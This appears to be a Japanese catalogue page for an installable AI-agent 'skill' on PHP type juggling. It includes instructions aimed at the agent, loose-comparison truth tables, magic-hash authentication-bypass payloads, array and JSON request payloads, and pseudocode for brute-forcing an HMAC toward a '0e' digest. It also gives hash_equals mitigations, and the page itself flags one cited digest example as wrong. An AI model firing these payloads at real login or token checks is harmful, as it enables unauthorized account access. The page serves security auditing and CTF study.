type-juggling について
PHPの緩い比較と型変換を扱う、認可済みのテスト担当者やコード監査者向けのセキュリティスキルです。バージョン差、マジックハッシュ、CTFで使われる入力パターンを整理し、安全な比較方法も示します。
主な機能
- 01PHPの緩い比較の挙動
- 02マジックハッシュとHMACの例
- 03PHPバージョンごとの差異
- 04NULLと不正な型のパターン
- 05CTF入力パターンの参照
活用シーン
- 01ログインやトークン比較の監査
- 02ハッシュとHMAC検証の評価
- 03PHPのバージョン依存動作の再現
- 04PHP CTF課題の学習
インストール
コマンドをコピーしてターミナルで実行します。
npx skills add https:/ / github.com/ yaklang/ hack-skills --skill type-jugglingインストール後、Claude Code で/type-jugglingを入力して読み込まれたか確認します。
詳細
スキル:PHP の型ジャグリング — 弱い比較とマジックハッシュによるバイパス
AI 読み込み指示:PHP の
==による型変換、マジックハッシュ(0e…)、HMAC/ハッシュの緩いチェック、不正な型による NULL、CTF 形式のstrcmp/json_decode/intvalの手法を扱います。厳密に振り分けます。シンク(==かhash_equalsか)、PHP のメジャーバージョン、両方のオペランドが攻撃者に制御されているかを確認してください。振り分けに関する注意:PHP のログイン/署名ロジックやmd5($_GET['x'])==md5($_GET['y'])のようなコードを見つけた場合は、まずこのスキルを使ってください。すでにhash_equals/===が使われている場合、この方法は通常該当しません。
0. クイックスタート
最初の確認目標:実際のパスワードを推測するのではなく、型変換によってサーバー側の分岐が異なるシークレット/トークンを等しいと扱うことを証明します。
最初に試すペイロード(認証/トークン形式)
password[]=x
password=
0
0e12345
240610708
QNKCDZO
true
[]
{"password":true}
admin%00
最小限の PHP 検証(ローカルまたはラボでの php -r)
<?php
// Loose compare probes — run in target PHP major version if possible
var_dump('0e123' == '0e999');
var_dump('123a' == 123);
var_dump(md5('240610708') == md5('QNKCDZO'));
振り分けのヒント
| 手がかり | 次のステップ |
|---|---|
ソースコードでパスワード、トークン、HMAC 値の比較に == を使用している | セクション 1~3 へ進む |
md5($a) == md5($b) または緩い sha1 比較 | セクション 2 のマジックハッシュ |
hash_hmac(...) != '0' または "0" と比較している | セクション 3 |
strcmp、json_decode(..., true)、intval | セクション 5 |
1. 緩い比較(==)— 真理値表とバージョン
シークレットの比較に === または hash_equals() を使わない限り、PHP は型ジャグリングを行ってオペランドを比較します。
1.1 基本例(文字列と数値)
| 式 | 結果 | 仕組み(概要) |
|---|---|---|
'0010e2' == '1e3' | true | どちらの文字列も数値形式に見えるため、浮動小数点数として比較されます。両方とも 1000.0 と解釈されます(ゼロではありません。よくある試験のひっかけです。「両方ともゼロ」になる実例は次の行を参照してください) |
'0e462097431906509019562988736854' == '0e830400451993494058024219903391' | true | どちらも科学表記で 0.0 と解釈されます |
'123a' == 123 | true | 文字列は最初の数字以外の文字で整数への変換が止まるため、123 になります |
'abc' == 0 | true(PHP 7.x 以前) | 数値以外の文字列を整数と比較すると、文字列が 0 になります |
'' == 0 | true | 空文字列は 0 になります |
'' == false | true | 緩い比較のルールでは、どちらも「偽」とみなされます |
false == NULL | true | 緩い比較による等価 |
0 == false | true | 緩い比較による等価 |
'' == 0 == false == NULL | true(連鎖) | == では隣接する各ペア(''==0、0==false、false==NULL)が true になります。典型的な「偽」値の連鎖です |
'0' == false | true | 文字列 '0' は、真偽値との比較で false になる唯一の空でない文字列です |
'php' == 0 | false(PHP 8 以降) | PHP 8 では、数値以外の文字列は 0 と等しくならなくなりました |
1.2 PHP 5、7、8 の違い(重要な差分)
| 項目 | PHP 5.x/7.x(一般的な挙動) | PHP 8.0 以降 |
|---|---|---|
0 == "foo" | true(文字列が 0 になる) | false |
"123a" の文字列から数値への変換 | (int) や、多くの == の比較では引き続き途中で切り詰められます | 数値文字列では同様です。数値以外の文字列と整数の比較は上記のとおり修正されました |
md5([])/sha1([]) | 古いパターンでは警告が発生したり、NULL のように扱われたりすることがあります | 誤った型では TypeError が発生します。エラー処理によって NULL に変換されない限り、従来の [] を使った手法は使えません |
テスター向けの要点:ヘッダー、X-Powered-By、またはフィンガープリントから、必ず PHP のバージョンを確認してください。PHP 7 で動作するペイロードが PHP 8 では失敗する場合があります。
1.3 安全な代替手段(防御/検証)
hash_equals((string)$expected, (string)$actual); // timing-safe, strict string
// or
$expected === $actual;
2. マジックハッシュ(0e… +数字のみ)
両方の値が ^0e[0-9]+$ に一致する16 進数形式に見えるハッシュ文字列の場合、PHP はそれらを科学表記の浮動小数点数として扱い、値は 0.0 になります。そのため、ダイジェストの文字列は異なっていても、md5(A) == md5(B) は true になります。
2.1 参照表(MD5 / SHA-1 およびより長いアルゴリズム)
| アルゴリズム | 入力例 | ダイジェスト(0e + すべて数字で始まる) |
|---|---|---|
| MD5 | 240610708 | 0e462097431906509019562988736854 |
| MD5 | QNKCDZO | 0e830400451993494058024219903391 |
| SHA-1 | 10932435112 | 0e07766915004133176347055865026311692244 |
| SHA-224 | (ブルートフォース/事前計算済み) | 形式例:0e + 数字のみ → そのような別の文字列との == は true |
| SHA-256 | (ブルートフォース/事前計算済み) | 同じパターン:^0e\d+$ に一致する文字列だけが == で衝突します |
仕組み:md5('240610708') == md5('QNKCDZO') → 両辺が ^0e[0-9]+$ に一致 → 両方とも 0.0 == 0.0 と解釈される → true。
2.2 コードでのエクスプロイトパターン
if (md5($_GET['a']) == md5($_GET['b']) && $_GET['a'] != $_GET['b']) {
// intended: different strings, same md5 (impossible for md5)
// actual: two different strings whose *digests* are magic hashes
}
2.3 ペイロードの概要(ペアの探索)
?a=240610708&b=QNKCDZO
SHA-224/256 では、探索問題として扱います。ダイジェストが ^0e\d+$ に一致するまで入力をブルートフォースし、異なる2つの入力をペアにします。ハッシュが長いほど難しくなります。上記の MD5/SHA1 の例は、通常、教材で使われるものです。
3. HMAC バイパス("0" または 0 との緩い比較)
ロジックが定数との緩い不等価比較を使用している場合:
if (hash_hmac('md5', $data, $key) != '0') { /* ok */ }
// or == 0, == false with string "0e...", etc.
hash_hmac の出力が ^0e[0-9]+$(MD5 出力の場合)またはコード固有の緩い比較ルールに一致するまで、$data(例:タイムスタンプ、nonce、カウンター)をブルートフォースします。すると、ハッシュが 0 や、別のマジックダイジェストと == で等しいと判定される可能性があります。
例(数値メッセージの MD5 形式の 0e ダイジェスト)
| 概念 | 例 |
|---|---|
| メッセージの種類 | Unix タイムスタンプ、増加する ID、ミリ秒クロック |
| タイムスタンプのブルートフォースパターン | チュートリアルでは、マジックハッシュ形式の例として 1539805986 → 0e772967136366835494939987377058 が引用されることがあります。ただし、標準の PHP では md5('1539805986') はこのダイジェストになりません。考え方(出力が ^0e[0-9]+$ に一致するまでタイムスタンプ/カウンターを走査すること)を参考にし、対象コードの実際の関数とキーで必ず検証してください。 |
| 目標 | hash_hmac('md5', $data, $key) が ^0e[0-9]+$ に一致するような $data を見つける |
| 注意 | $key が分からなくても、アルゴリズム/出力がオラクルで確認できれば $data をブルートフォースできる場合があります。CTF ではキーが漏れているか、固定されていることがよくあります。 |
# Conceptual: try many timestamps
for t in range(T0, T1):
if re.fullmatch(r'0e\d+', hmac_md5(str(t), key)):
use t
緩和策:hash_equals($mac, $expected) と固定長の 16 進数/バイナリーエンコーディングを使用してください。HMAC を単独の "0" と比較しないでください。
4. NULL ジャグリング(配列と型エラー)
無効な型を渡すと、比較対象側が NULL になることがあります。別の NULL や型変換された値との緩い等価比較が成功する場合があります。
| 呼び出し | PHP 7/8 での一般的な動作 |
|---|---|
md5([]) | PHP 8:TypeError。それ以前のバージョン:警告が発生する場合があり、バージョンをまたいで一貫しません |
sha1([]) | 同様 |
| 考え方 | エラーハンドラーやカスタムラッパーが失敗を NULL に変換する場合、NULL == NULL や、反対側も NULL なら NULL == sha1("x") が成立します |
// CTF / broken code mental model:
@sha1($_GET['x']) == @sha1($_GET['y']); // if both error to NULL → true
実際の監査:@、ハッシュを null に設定するカスタム try/catch、または文字列が必要な箇所に渡されているユーザー入力を探してください。
5. CTF のパターン
5.1 配列を使った strcmp / strcasecmp
strcmp([], "password"); // NULL in PHP 7/8 (invalid args)
// NULL == 0 → true in loose compare if code does:
if (strcmp($_GET['p'], $secret) == 0)
ペイロード:
?p[]=1
5.2 intval バイパス
// Hex: base 0 lets PHP interpret 0x prefix (version-dependent; always verify)
intval("0x1A", 0); // → 26
// Octal: leading 0 can be parsed as octal with base 0
intval("010", 0); // → 8 (classic teaching example; confirm on target PHP)
// Scientific notation: intval() alone stops at 'e'; cast via float first
intval((float) "1e2"); // → 100
?id=0x1A
?id=010
?id=1e2
5.3 連想配列認証での json_decode + true
{"password": true}
$j = json_decode($input, true);
if ($j['password'] == $stored_string) // true == "nonempty" often true — see PHP loose rules
5.4 is_numeric + 緩い比較
is_numeric("0e12345"); // true
"0e12345" == 0; // true (scientific notation → 0.0)
5.5 デシリアライズ + マジックプロパティ
ユーザー入力を、__toString やプロパティが md5($obj) または緩い比較に渡されるオブジェクトにデシリアライズします。プロパティにマジックハッシュ文字列を組み合わせます(CTF)。ハッシュに対する == の近くにある unserialize($_…) を探してください。
6. 判断フローチャート
+------------------+
| PHP loose compare|
| or hash == hash? |
+--------+---------+
|
+-------------+-------------+
| |
+------v------+ +------v------+
| Uses === or | | Uses == or |
| hash_equals | | strcmp == 0 |
+------+------+ +------+-------+
| |
STOP (likely) +-----v-----+
| Operand |
| types? |
+-----+-----+
+--------------+---+--------------+
| | |
+------v------+ +-----v-----+ +-------v--------+
| Both numeric| | One int & | | Hash digests |
| strings 0e… | | one string| | both 0e\d+ ? |
+------+------+ +-----+-----+ +-------+--------+
| | |
MAGIC HASH STRING/INT MAGIC HASH
COLLISION JUGGLING (md5/sha1/…)
| | |
+------+-------+------------------+
|
+------v------+
| HMAC / MAC |
| vs "0" |
+------+------+
|
brute $data
for 0e… digest
|
+------v------+
| Arrays / |
| json true / |
| strcmp([]) |
+-------------+
ツールの参照先
| ツール | 用途 |
|---|---|
ローカルの php CLI | 対象のメジャーバージョンでの == の動作を再現する |
| 静的コードレビュー | 暗号処理の出力に対する ==、!= を検索し、hash_equals の欠落を見つける |
| CTF フレームワーク | マジックハッシュと 0e の探索用ペイロード生成 |
安全性と適用範囲:許可を得た対象(CTF、ラボ、書面による許可)にのみ使用してください。このスキルでは、防御や評価のために言語のセマンティクスを説明しています。同意なしにシステムを攻撃する許可を与えるものではありません。